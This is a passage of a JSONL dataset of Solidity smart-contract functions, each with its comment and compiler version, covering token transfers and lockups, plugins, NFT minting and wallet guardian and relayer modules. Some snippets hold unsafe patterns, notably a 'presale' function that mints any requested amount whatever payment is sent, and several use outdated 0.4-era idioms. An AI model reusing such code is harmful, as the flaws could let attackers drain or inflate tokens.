lastOwnedToken = _ownStorage.getOwnedToken(_from, lastOwnedTokenIndex);\r\n\t\t_ownStorage.setOwnedToken(_from, ownedTokenIndex, lastOwnedToken);\r\n\t\t_ownStorage.setOwnedToken(_from, lastOwnedTokenIndex, 0);\r\n\t\t_ownStorage.decrementOwnedTokensLength(_from);\r\n\t\t_ownStorage.setOwnedTokensIndex(_tokenId, 0);\r\n\t\t_ownStorage.setOwnedTokensIndex(lastOwnedToken, ownedTokenIndex);\r\n\t}", "version": "0.4.19"} {"comment": "// BdpControllerHelper", "function_code": "function () public {\r\n\t\taddress _impl = BdpContracts.getBdpControllerHelper(contracts);\r\n\t\trequire(_impl != address(0));\r\n\t\tbytes memory data = msg.data;\r\n\r\n\t\tassembly {\r\n\t\t\tlet result := delegatecall(gas, _impl, add(data, 0x20), mload(data), 0, 0)\r\n\t\t\tlet size := returndatasize\r\n\t\t\tlet ptr := mload(0x40)\r\n\t\t\treturndatacopy(ptr, 0, size)\r\n\t\t\tswitch result\r\n\t\t\tcase 0 { revert(ptr, size) }\r\n\t\t\tdefault { return(ptr, size) }\r\n\t\t}\r\n\t}", "version": "0.4.19"} {"comment": "/**\r\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\r\n * revert reason using the provided one.\r\n *\r\n * _Available since v4.3._\r\n */", "function_code": "function verifyCallResult(\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal pure returns (bytes memory) {\r\n if (success) {\r\n return returndata;\r\n } else {\r\n // Look for revert reason and bubble it up if present\r\n if (returndata.length > 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n\r\n assembly {\r\n let returndata_size := mload(returndata)\r\n revert(add(32, returndata), returndata_size)\r\n }\r\n } else {\r\n revert(errorMessage);\r\n }\r\n }\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Destroys `tokenId`.\r\n * The approval is cleared when the token is burned.\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenId` must exist.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _burn(uint256 tokenId) internal virtual {\r\n address owner = ERC721.ownerOf(tokenId); // internal owner\r\n\r\n _beforeTokenTransfer(owner, address(0), tokenId);\r\n\r\n // Clear approvals\r\n _approve(address(0), tokenId);\r\n\r\n // Clear metadata (if any)\r\n if (bytes(_tokenURIs[tokenId]).length != 0) {\r\n delete _tokenURIs[tokenId];\r\n }\r\n\r\n _holderTokens[owner].remove(tokenId);\r\n\r\n _tokenOwners.remove(tokenId);\r\n\r\n emit Transfer(owner, address(0), tokenId);\r\n }", "version": "0.8.12"} {"comment": "// Initializes contract", "function_code": "function WatermelonBlockToken(address _icoAddr, address _teamAddr, address _emergencyAddr) {\r\n icoAddr = _icoAddr;\r\n teamAddr = _teamAddr;\r\n emergencyAddr = _emergencyAddr;\r\n\r\n balances[icoAddr] = tokensICO;\r\n balances[teamAddr] = teamReserve;\r\n\r\n // seed investors\r\n address investor_1 = 0xF735e4a0A446ed52332AB891C46661cA4d9FD7b9;\r\n balances[investor_1] = 20000000e6;\r\n var lockupTime = lockStartTime.add(1 years);\r\n lockup = Lockup({lockupTime:lockupTime,lockupAmount:balances[investor_1]});\r\n lockupParticipants[investor_1] = lockup;\r\n\r\n address investor_2 = 0x425207D7833737b62E76785A3Ab3f9dEce3953F5;\r\n balances[investor_2] = 8000000e6;\r\n lockup = Lockup({lockupTime:lockupTime,lockupAmount:balances[investor_2]});\r\n lockupParticipants[investor_2] = lockup;\r\n\r\n var leftover = seedInvestorsReserve.sub(balances[investor_1]).sub(balances[investor_2]);\r\n balances[emergencyAddr] = emergencyReserve.add(leftover);\r\n }", "version": "0.4.24"} {"comment": "// Send some of your tokens to a given address", "function_code": "function transfer(address _to, uint _value) returns(bool) {\r\n if (lockupParticipants[msg.sender].lockupAmount > 0) {\r\n if (now < lockupParticipants[msg.sender].lockupTime) {\r\n require(balances[msg.sender].sub(_value) >= lockupParticipants[msg.sender].lockupAmount);\r\n }\r\n }\r\n if (msg.sender == teamAddr) {\r\n for (uint i = 0; i < lockupTeamDate.length; i++) {\r\n if (now < lockupTeamDate[i])\r\n require(balances[msg.sender].sub(_value) >= lockupTeamSum[i]);\r\n }\r\n }\r\n balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender\r\n balances[_to] = balances[_to].add(_value); // Add the same to the recipient\r\n Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// A contract or person attempts to get the tokens of somebody else.\n// This is only allowed if the token holder approved.", "function_code": "function transferFrom(address _from, address _to, uint _value) returns(bool) {\r\n if (lockupParticipants[_from].lockupAmount > 0) {\r\n if (now < lockupParticipants[_from].lockupTime) {\r\n require(balances[_from].sub(_value) >= lockupParticipants[_from].lockupAmount);\r\n }\r\n }\r\n if (_from == teamAddr) {\r\n for (uint i = 0; i < lockupTeamDate.length; i++) {\r\n if (now < lockupTeamDate[i])\r\n require(balances[_from].sub(_value) >= lockupTeamSum[i]);\r\n }\r\n }\r\n var _allowed = allowed[_from][msg.sender];\r\n balances[_from] = balances[_from].sub(_value); // Subtract from the sender\r\n balances[_to] = balances[_to].add(_value); // Add the same to the recipient\r\n allowed[_from][msg.sender] = _allowed.sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// >>> approve other rewards on dex\n// function _approveDex() internal override { super._approveDex(); }\n// >>> include other rewards\n// function _migrateRewards(address _newStrategy) internal override { super._migrateRewards(_newStrategy); }\n// >>> include all other rewards in eth besides _claimableBasicInETH()\n// function _claimableInETH() internal override view returns (uint256 _claimable) { _claimable = super._claimableInETH(); }", "function_code": "function _setPathTarget(uint _tokenId, uint _id) internal {\r\n if (_id == 0) { \r\n pathTarget[_tokenId] = usdt;\r\n }\r\n else if (_id == 1) {\r\n pathTarget[_tokenId] = wbtc;\r\n }\r\n else {\r\n pathTarget[_tokenId] = weth;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @dev Sets the reference to the plugin contract.\n/// @param _address - Address of plugin contract.", "function_code": "function addPlugin(address _address) external onlyOwner\r\n {\r\n PluginInterface candidateContract = PluginInterface(_address);\r\n\r\n // verify that a contract is what we expect\r\n require(candidateContract.isPluginInterface());\r\n\r\n // Set the new contract address\r\n plugins[_address] = candidateContract;\r\n pluginsArray.push(candidateContract);\r\n }", "version": "0.4.26"} {"comment": "/// @dev Remove plugin and calls onRemove to cleanup", "function_code": "function removePlugin(address _address) external onlyOwner\r\n {\r\n plugins[_address].onRemove();\r\n delete plugins[_address];\r\n\r\n uint256 kindex = 0;\r\n while (kindex < pluginsArray.length)\r\n {\r\n if (address(pluginsArray[kindex]) == _address)\r\n {\r\n pluginsArray[kindex] = pluginsArray[pluginsArray.length-1];\r\n pluginsArray.length--;\r\n }\r\n else\r\n {\r\n kindex++;\r\n }\r\n }\r\n }", "version": "0.4.26"} {"comment": "/// @dev Common function to be used also in backend", "function_code": "function getSigner(\r\n address _pluginAddress,\r\n uint40 _signId,\r\n uint40 _cutieId,\r\n uint128 _value,\r\n uint256 _parameter,\r\n uint8 _v,\r\n bytes32 _r,\r\n bytes32 _s\r\n )\r\n public pure returns (address)\r\n {\r\n bytes32 msgHash = hashArguments(_pluginAddress, _signId, _cutieId, _value, _parameter);\r\n return ecrecover(msgHash, _v, _r, _s);\r\n }", "version": "0.4.26"} {"comment": "/// @dev Put a cutie up for plugin feature with signature.\n/// Can be used for items equip, item sales and other features.\n/// Signatures are generated by Operator role.", "function_code": "function runPluginSigned(\r\n address _pluginAddress,\r\n uint40 _signId,\r\n uint40 _cutieId,\r\n uint128 _value,\r\n uint256 _parameter,\r\n uint8 _v,\r\n bytes32 _r,\r\n bytes32 _s\r\n )\r\n external\r\n// whenNotPaused\r\n payable\r\n {\r\n require (isValidSignature(_pluginAddress, _signId, _cutieId, _value, _parameter, _v, _r, _s));\r\n\r\n require(address(plugins[_pluginAddress]) != address(0));\r\n\r\n require (usedSignes[_signId] == address(0));\r\n\r\n require (_signId >= minSignId);\r\n // value can also be zero for free calls\r\n\r\n require (_value <= msg.value);\r\n\r\n usedSignes[_signId] = msg.sender;\r\n\r\n if (_cutieId > 0)\r\n {\r\n // If cutie is already on any auction or in adventure, this will throw\r\n // as it will be owned by the other contract.\r\n // If _cutieId is 0, then cutie is not used on this feature.\r\n\r\n coreContract.checkOwnerAndApprove(msg.sender, _cutieId, _pluginAddress);\r\n }\r\n\r\n emit SignUsed(_signId, msg.sender);\r\n\r\n // Plugin contract throws if inputs are invalid and clears\r\n // transfer after escrowing the cutie.\r\n plugins[_pluginAddress].runSigned.value(_value)(\r\n _cutieId,\r\n _parameter,\r\n msg.sender\r\n );\r\n }", "version": "0.4.26"} {"comment": "/// @dev Put a cutie up for plugin feature.", "function_code": "function runPlugin(\r\n address _pluginAddress,\r\n uint40 _cutieId,\r\n uint256 _parameter\r\n ) external payable\r\n {\r\n // If cutie is already on any auction or in adventure, this will throw\r\n // because it will be owned by the other contract.\r\n // If _cutieId is 0, then cutie is not used on this feature.\r\n require(address(plugins[_pluginAddress]) != address(0));\r\n if (_cutieId > 0)\r\n {\r\n coreContract.checkOwnerAndApprove(msg.sender, _cutieId, _pluginAddress);\r\n }\r\n\r\n // Plugin contract throws if inputs are invalid and clears\r\n // transfer after escrowing the cutie.\r\n plugins[_pluginAddress].run.value(msg.value)(\r\n _cutieId,\r\n _parameter,\r\n msg.sender\r\n );\r\n }", "version": "0.4.26"} {"comment": "// private sale (25% discount)", "function_code": "function presale(uint256 amount) public payable returns (bool) {\n if (block.timestamp < startTimeStamp || block.timestamp >= endTimeStamp) {\n return false;\n }\n\n uint256 presaleAmount = amount * 10 ** 18;\n lvnContract.presale(msg.sender, presaleAmount);\n address payable recipient = payable(liquidityPool);\n recipient.transfer(msg.value);\n return true;\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev registers a name. UI will always display the last name you registered.\r\n * but you will still own all previously registered names to use as affiliate \r\n * links.\r\n * - must pay a registration fee.\r\n * - name must be unique\r\n * - names will be converted to lowercase\r\n * - name cannot start or end with a space \r\n * - cannot have more than 1 space in a row\r\n * - cannot be only numbers\r\n * - cannot start with 0x \r\n * - name must be at least 1 char\r\n * - max length of 32 characters long\r\n * - allowed characters: a-z, 0-9, and space\r\n * -functionhash- 0x921dec21 (using ID for affiliate)\r\n * -functionhash- 0x3ddd4698 (using address for affiliate)\r\n * -functionhash- 0x685ffd83 (using name for affiliate)\r\n * @param _nameString players desired name\r\n * @param _affCode affiliate ID, address, or name of who refered you\r\n * @param _all set to true if you want this to push your info to all games \r\n * (this might cost a lot of gas)\r\n */", "function_code": "function registerNameXID(string _nameString, uint256 _affCode, bool _all)\r\n isHuman()\r\n public\r\n payable \r\n {\r\n // make sure name fees paid\r\n require (msg.value >= registrationFee_, \"umm..... you have to pay the name fee\");\r\n \r\n // filter name + condition checks\r\n bytes32 _name = NameFilter.nameFilter(_nameString);\r\n \r\n // set up address \r\n address _addr = msg.sender;\r\n \r\n // set up our tx event data and determine if player is new or not\r\n bool _isNewPlayer = determinePID(_addr);\r\n \r\n // fetch player id\r\n uint256 _pID = pIDxAddr_[_addr];\r\n \r\n // manage affiliate residuals\r\n // if no affiliate code was given, no new affiliate code was given, or the \r\n // player tried to use their own pID as an affiliate code, lolz\r\n if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) \r\n {\r\n // update last affiliate \r\n plyr_[_pID].laff = _affCode;\r\n } else if (_affCode == _pID) {\r\n _affCode = 0;\r\n }\r\n \r\n // register name \r\n registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev players, if you registered a profile, before a game was released, or\r\n * set the all bool to false when you registered, use this function to push\r\n * your profile to a single game. also, if you've updated your name, you\r\n * can use this to push your name to games of your choosing.\r\n * -functionhash- 0x81c5b206\r\n * @param _gameID game id \r\n */", "function_code": "function addMeToGame(uint256 _gameID)\r\n isHuman()\r\n public\r\n {\r\n require(_gameID <= gID_, \"silly player, that game doesn't exist yet\");\r\n address _addr = msg.sender;\r\n uint256 _pID = pIDxAddr_[_addr];\r\n require(_pID != 0, \"hey there buddy, you dont even have an account\");\r\n uint256 _totalNames = plyr_[_pID].names;\r\n \r\n // add players profile and most recent name\r\n games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);\r\n \r\n // add list of all names\r\n if (_totalNames > 1)\r\n for (uint256 ii = 1; ii <= _totalNames; ii++)\r\n games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev players, use this to push your player profile to all registered games.\r\n * -functionhash- 0x0c6940ea\r\n */", "function_code": "function addMeToAllGames()\r\n isHuman()\r\n public\r\n {\r\n address _addr = msg.sender;\r\n uint256 _pID = pIDxAddr_[_addr];\r\n require(_pID != 0, \"hey there buddy, you dont even have an account\");\r\n uint256 _laff = plyr_[_pID].laff;\r\n uint256 _totalNames = plyr_[_pID].names;\r\n bytes32 _name = plyr_[_pID].name;\r\n \r\n for (uint256 i = 1; i <= gID_; i++)\r\n {\r\n games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);\r\n if (_totalNames > 1)\r\n for (uint256 ii = 1; ii <= _totalNames; ii++)\r\n games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);\r\n }\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev players use this to change back to one of your old names. tip, you'll\r\n * still need to push that info to existing games.\r\n * -functionhash- 0xb9291296\r\n * @param _nameString the name you want to use \r\n */", "function_code": "function useMyOldName(string _nameString)\r\n isHuman()\r\n public \r\n {\r\n // filter name, and get pID\r\n bytes32 _name = _nameString.nameFilter();\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n \r\n // make sure they own the name \r\n require(plyrNames_[_pID][_name] == true, \"umm... thats not a name you own\");\r\n \r\n // update their current name \r\n plyr_[_pID].name = _name;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Custom accessor to create a unique token\n * @param _to address of diamond owner\n * @param _issuer string the issuer agency name\n * @param _report string the issuer agency unique Nr.\n * @param _state diamond state, \"sale\" is the init state\n * @param _cccc bytes32 cut, clarity, color, and carat class of diamond\n * @param _carat uint24 carat of diamond with 2 decimals precision\n * @param _currentHashingAlgorithm name of hasning algorithm (ex. 20190101)\n * @param _custodian the custodian of minted dpass\n * @return Return Diamond tokenId of the diamonds list\n */", "function_code": "function mintDiamondTo(\n address _to,\n address _custodian,\n bytes3 _issuer,\n bytes16 _report,\n bytes8 _state,\n bytes20 _cccc,\n uint24 _carat,\n bytes32 _attributesHash,\n bytes8 _currentHashingAlgorithm\n )\n public auth\n returns(uint)\n {\n require(ccccs[_cccc], \"dpass-wrong-cccc\");\n _addToDiamondIndex(_issuer, _report);\n\n Diamond memory _diamond = Diamond({\n issuer: _issuer,\n report: _report,\n state: _state,\n cccc: _cccc,\n carat: _carat,\n currentHashingAlgorithm: _currentHashingAlgorithm\n });\n uint _tokenId = diamonds.push(_diamond) - 1;\n proof[_tokenId][_currentHashingAlgorithm] = _attributesHash;\n custodian[_tokenId] = _custodian;\n\n _mint(_to, _tokenId);\n emit LogDiamondMinted(_to, _tokenId, _issuer, _report, _state);\n return _tokenId;\n }", "version": "0.5.11"} {"comment": "/**\n * @dev Gets the Diamond at a given _tokenId of all the diamonds in this contract\n * Reverts if the _tokenId is greater or equal to the total number of diamonds\n * @param _tokenId uint representing the index to be accessed of the diamonds list\n * @return Returns all the relevant information about a specific diamond\n */", "function_code": "function getDiamondInfo(uint _tokenId)\n public\n view\n ifExist(_tokenId)\n returns (\n address[2] memory ownerCustodian,\n bytes32[6] memory attrs,\n uint24 carat_\n )\n {\n Diamond storage _diamond = diamonds[_tokenId];\n bytes32 attributesHash = proof[_tokenId][_diamond.currentHashingAlgorithm];\n\n ownerCustodian[0] = ownerOf(_tokenId);\n ownerCustodian[1] = custodian[_tokenId];\n\n attrs[0] = _diamond.issuer;\n attrs[1] = _diamond.report;\n attrs[2] = _diamond.state;\n attrs[3] = _diamond.cccc;\n attrs[4] = attributesHash;\n attrs[5] = _diamond.currentHashingAlgorithm;\n\n carat_ = _diamond.carat;\n }", "version": "0.5.11"} {"comment": "/// @notice Sell `amount` tokens to contract\n/// @param amount amount of tokens to be sold", "function_code": "function sell(uint256 amount) public {\r\n address myAddress = this;\r\n require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy\r\n _transfer(msg.sender, this, amount); // makes the transfers\r\n msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks\r\n }", "version": "0.4.26"} {"comment": "// Separate function as it is used by derived contracts too", "function_code": "function _removeBid(uint bidId) internal {\r\n Bid memory thisBid = bids[ bidId ];\r\n bids[ thisBid.prev ].next = thisBid.next;\r\n bids[ thisBid.next ].prev = thisBid.prev;\r\n\r\n delete bids[ bidId ]; // clearning storage\r\n delete contributors[ msg.sender ]; // clearning storage\r\n // cannot delete from accountsList - cannot shrink an array in place without spending shitloads of gas\r\n }", "version": "0.4.24"} {"comment": "// We are starting from TAIL and going upwards\n// This is to simplify the case of increasing bids (can go upwards, cannot go lower)\n// NOTE: blockSize gas limit in case of so many bids (wishful thinking)", "function_code": "function searchInsertionPoint(uint _contribution, uint _startSearch) view public returns (uint) {\r\n require(_contribution > bids[_startSearch].value, \"your contribution and _startSearch does not make sense, it will search in a wrong direction\");\r\n\r\n Bid memory lowerBid = bids[_startSearch];\r\n Bid memory higherBid;\r\n\r\n while(true) { // it is guaranteed to stop as we set the HEAD bid with very high maximum valuation\r\n higherBid = bids[lowerBid.next];\r\n\r\n if (_contribution < higherBid.value) {\r\n return higherBid.prev;\r\n } else {\r\n lowerBid = higherBid;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Inits the wallet by setting the owner and authorising a list of modules.\r\n * @param _owner The owner.\r\n * @param _modules The modules to authorise.\r\n */", "function_code": "function init(address _owner, address[] _modules) external {\r\n require(owner == address(0) && modules == 0, \"BW: wallet already initialised\");\r\n require(_modules.length > 0, \"BW: construction requires at least 1 module\");\r\n owner = _owner;\r\n modules = _modules.length;\r\n for(uint256 i = 0; i < _modules.length; i++) {\r\n require(authorised[_modules[i]] == false, \"BW: module is already added\");\r\n authorised[_modules[i]] = true;\r\n Module(_modules[i]).init(this);\r\n emit AuthorisedModule(_modules[i], true);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Enables/Disables a module.\r\n * @param _module The target module.\r\n * @param _value Set to true to authorise the module.\r\n */", "function_code": "function authoriseModule(address _module, bool _value) external moduleOnly {\r\n if (authorised[_module] != _value) {\r\n if(_value == true) {\r\n modules += 1;\r\n authorised[_module] = true;\r\n Module(_module).init(this);\r\n }\r\n else {\r\n modules -= 1;\r\n require(modules > 0, \"BW: wallet must have at least one module\");\r\n delete authorised[_module];\r\n }\r\n emit AuthorisedModule(_module, _value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Initializes this wrapper contract\r\n * \r\n * Should set cards, proto, quality, and uniswap exchange\r\n *\r\n * Should fail if already initialized by checking if cardWrapperFatory is set\r\n *\r\n */", "function_code": "function init(ICards _cards, uint16 _proto, uint8 _quality, IUniswapExchange _uniswapExchange) public {\r\n require(address(cardWrapperFactory) == address(0x0), 'CardWrapper:Already initialized');\r\n cardWrapperFactory = CardERC20WrapperFactory(msg.sender);\r\n uniswapExchange = _uniswapExchange;\r\n cards = _cards;\r\n proto = _proto;\r\n quality = _quality;\r\n }", "version": "0.5.12"} {"comment": "// public minting", "function_code": "function mint(uint256 _mintAmount) public payable nonReentrant{\r\n\tuint256 s = totalSupply();\r\n\trequire(status, \"Off\" );\r\n\trequire(_mintAmount > 0, \"0\" );\r\n\trequire(_mintAmount <= maxMint, \"Too many\" );\r\n\trequire(s + _mintAmount <= maxSupply, \"Max\" );\r\n\trequire(msg.value >= cost * _mintAmount);\r\n\tfor (uint256 i = 0; i < _mintAmount; ++i) {\r\n\t_safeMint(msg.sender, s + i, \"\");\r\n\t}\r\n\tdelete s;\r\n\t}", "version": "0.8.11"} {"comment": "// admin minting", "function_code": "function adminMint(address[] calldata recipient) external onlyOwner{\r\n\tuint256 s = totalSupply();\r\n\trequire(s + recipient.length <= maxSupply, \"Too many\" );\r\n\tfor(uint i = 0; i < recipient.length; ++i){\r\n\t_safeMint(recipient[i], s++, \"\" );\r\n\t}\r\n\tdelete s;\t\r\n\t}", "version": "0.8.11"} {"comment": "// Allows the developer to set the crowdsale and token addresses.", "function_code": "function set_addresses(address _sale, address _token) {\r\n // Only allow the developer to set the sale and token addresses.\r\n require(msg.sender == developer);\r\n // Only allow setting the addresses once.\r\n // Set the crowdsale and token addresses.\r\n sale = _sale;\r\n token = ERC20(_token);\r\n }", "version": "0.4.13"} {"comment": "/// @inheritdoc IERC721BulkTransfer", "function_code": "function transfer(\r\n address collection,\r\n address recipient,\r\n uint256[] calldata tokenIds\r\n ) external {\r\n require(tokenIds.length > 0, \"Invalid token ids amount\");\r\n\r\n for (uint256 i = 0; i < tokenIds.length; i++) {\r\n uint256 tokenId = tokenIds[i];\r\n IERC721(collection).transferFrom(msg.sender, recipient, tokenId);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Executes a relayed transaction.\r\n * @param _wallet The target wallet.\r\n * @param _data The data for the relayed transaction\r\n * @param _nonce The nonce used to prevent replay attacks.\r\n * @param _signatures The signatures as a concatenated byte array.\r\n * @param _gasPrice The gas price to use for the gas refund.\r\n * @param _gasLimit The gas limit to use for the gas refund.\r\n */", "function_code": "function execute(\r\n BaseWallet _wallet,\r\n bytes _data, \r\n uint256 _nonce, \r\n bytes _signatures, \r\n uint256 _gasPrice,\r\n uint256 _gasLimit\r\n )\r\n external\r\n returns (bool success)\r\n {\r\n uint startGas = gasleft();\r\n bytes32 signHash = getSignHash(address(this), _wallet, 0, _data, _nonce, _gasPrice, _gasLimit);\r\n require(checkAndUpdateUniqueness(_wallet, _nonce, signHash), \"RM: Duplicate request\");\r\n require(verifyData(address(_wallet), _data), \"RM: the wallet authorized is different then the target of the relayed data\");\r\n uint256 requiredSignatures = getRequiredSignatures(_wallet, _data);\r\n if((requiredSignatures * 65) == _signatures.length) {\r\n if(verifyRefund(_wallet, _gasLimit, _gasPrice, requiredSignatures)) {\r\n if(requiredSignatures == 0 || validateSignatures(_wallet, _data, signHash, _signatures)) {\r\n // solium-disable-next-line security/no-call-value\r\n success = address(this).call(_data);\r\n refund(_wallet, startGas - gasleft(), _gasPrice, _gasLimit, requiredSignatures, msg.sender);\r\n }\r\n }\r\n }\r\n emit TransactionExecuted(_wallet, success, signHash); \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Generates the signed hash of a relayed transaction according to ERC 1077.\r\n * @param _from The starting address for the relayed transaction (should be the module)\r\n * @param _to The destination address for the relayed transaction (should be the wallet)\r\n * @param _value The value for the relayed transaction\r\n * @param _data The data for the relayed transaction\r\n * @param _nonce The nonce used to prevent replay attacks.\r\n * @param _gasPrice The gas price to use for the gas refund.\r\n * @param _gasLimit The gas limit to use for the gas refund.\r\n */", "function_code": "function getSignHash(\r\n address _from,\r\n address _to, \r\n uint256 _value, \r\n bytes _data, \r\n uint256 _nonce,\r\n uint256 _gasPrice,\r\n uint256 _gasLimit\r\n ) \r\n internal \r\n pure\r\n returns (bytes32) \r\n {\r\n return keccak256(\r\n abi.encodePacked(\r\n \"\\x19Ethereum Signed Message:\\n32\",\r\n keccak256(abi.encodePacked(byte(0x19), byte(0), _from, _to, _value, _data, _nonce, _gasPrice, _gasLimit))\r\n ));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Checks that a nonce has the correct format and is valid. \r\n * It must be constructed as nonce = {block number}{timestamp} where each component is 16 bytes.\r\n * @param _wallet The target wallet.\r\n * @param _nonce The nonce\r\n */", "function_code": "function checkAndUpdateNonce(BaseWallet _wallet, uint256 _nonce) internal returns (bool) {\r\n if(_nonce <= relayer[_wallet].nonce) {\r\n return false;\r\n } \r\n uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128;\r\n if(nonceBlock > block.number + BLOCKBOUND) {\r\n return false;\r\n }\r\n relayer[_wallet].nonce = _nonce;\r\n return true; \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Recovers the signer at a given position from a list of concatenated signatures.\r\n * @param _signedHash The signed hash\r\n * @param _signatures The concatenated signatures.\r\n * @param _index The index of the signature to recover.\r\n */", "function_code": "function recoverSigner(bytes32 _signedHash, bytes _signatures, uint _index) internal pure returns (address) {\r\n uint8 v;\r\n bytes32 r;\r\n bytes32 s;\r\n // we jump 32 (0x20) as the first slot of bytes contains the length\r\n // we jump 65 (0x41) per signature\r\n // for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n r := mload(add(_signatures, add(0x20,mul(0x41,_index))))\r\n s := mload(add(_signatures, add(0x40,mul(0x41,_index))))\r\n v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff)\r\n }\r\n require(v == 27 || v == 28); \r\n return ecrecover(_signedHash, v, r, s);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Refunds the gas used to the Relayer. \r\n * For security reasons the default behavior is to not refund calls with 0 or 1 signatures. \r\n * @param _wallet The target wallet.\r\n * @param _gasUsed The gas used.\r\n * @param _gasPrice The gas price for the refund.\r\n * @param _gasLimit The gas limit for the refund.\r\n * @param _signatures The number of signatures used in the call.\r\n * @param _relayer The address of the Relayer.\r\n */", "function_code": "function refund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _gasLimit, uint _signatures, address _relayer) internal {\r\n uint256 amount = 29292 + _gasUsed; // 21000 (transaction) + 7620 (execution of refund) + 672 to log the event + _gasUsed\r\n // only refund if gas price not null, more than 1 signatures, gas less than gasLimit\r\n if(_gasPrice > 0 && _signatures > 1 && amount <= _gasLimit) {\r\n if(_gasPrice > tx.gasprice) {\r\n amount = amount * tx.gasprice;\r\n }\r\n else {\r\n amount = amount * _gasPrice;\r\n }\r\n _wallet.invoke(_relayer, amount, \"\");\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns false if the refund is expected to fail.\r\n * @param _wallet The target wallet.\r\n * @param _gasUsed The expected gas used.\r\n * @param _gasPrice The expected gas price for the refund.\r\n */", "function_code": "function verifyRefund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _signatures) internal view returns (bool) {\r\n if(_gasPrice > 0 \r\n && _signatures > 1 \r\n && (address(_wallet).balance < _gasUsed * _gasPrice || _wallet.authorised(this) == false)) {\r\n return false;\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Checks that the wallet address provided as the first parameter of the relayed data is the same\r\n * as the wallet passed as the input of the execute() method. \r\n @return false if the addresses are different.\r\n */", "function_code": "function verifyData(address _wallet, bytes _data) private pure returns (bool) {\r\n require(_data.length >= 36, \"RM: Invalid dataWallet\");\r\n address dataWallet;\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n //_data = {length:32}{sig:4}{_wallet:32}{...}\r\n dataWallet := mload(add(_data, 0x24))\r\n }\r\n return dataWallet == _wallet;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Lets an authorised module revoke a guardian from a wallet.\r\n * @param _wallet The target wallet.\r\n * @param _guardian The guardian to revoke.\r\n */", "function_code": "function revokeGuardian(BaseWallet _wallet, address _guardian) external onlyModule(_wallet) {\r\n GuardianStorageConfig storage config = configs[_wallet];\r\n address lastGuardian = config.guardians[config.guardians.length - 1];\r\n if (_guardian != lastGuardian) {\r\n uint128 targetIndex = config.info[_guardian].index;\r\n config.guardians[targetIndex] = lastGuardian;\r\n config.info[lastGuardian].index = targetIndex;\r\n }\r\n config.guardians.length--;\r\n delete config.info[_guardian];\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Gets the list of guaridans for a wallet.\r\n * @param _wallet The target wallet.\r\n * @return the list of guardians.\r\n */", "function_code": "function getGuardians(BaseWallet _wallet) external view returns (address[]) {\r\n GuardianStorageConfig storage config = configs[_wallet];\r\n address[] memory guardians = new address[](config.guardians.length);\r\n for (uint256 i = 0; i < config.guardians.length; i++) {\r\n guardians[i] = config.guardians[i];\r\n }\r\n return guardians;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Checks if an address is an account guardian or an account authorised to sign on behalf of a smart-contract guardian\r\n * given a list of guardians.\r\n * @param _guardians the list of guardians\r\n * @param _guardian the address to test\r\n * @return true and the list of guardians minus the found guardian upon success, false and the original list of guardians if not found.\r\n */", "function_code": "function isGuardian(address[] _guardians, address _guardian) internal view returns (bool, address[]) {\r\n if(_guardians.length == 0 || _guardian == address(0)) {\r\n return (false, _guardians);\r\n }\r\n bool isFound = false;\r\n address[] memory updatedGuardians = new address[](_guardians.length - 1);\r\n uint256 index = 0;\r\n for (uint256 i = 0; i < _guardians.length; i++) {\r\n if(!isFound) {\r\n // check if _guardian is an account guardian\r\n if(_guardian == _guardians[i]) {\r\n isFound = true;\r\n continue;\r\n }\r\n // check if _guardian is the owner of a smart contract guardian\r\n if(isContract(_guardians[i]) && isGuardianOwner(_guardians[i], _guardian)) {\r\n isFound = true;\r\n continue;\r\n }\r\n }\r\n if(index < updatedGuardians.length) {\r\n updatedGuardians[index] = _guardians[i];\r\n index++;\r\n }\r\n 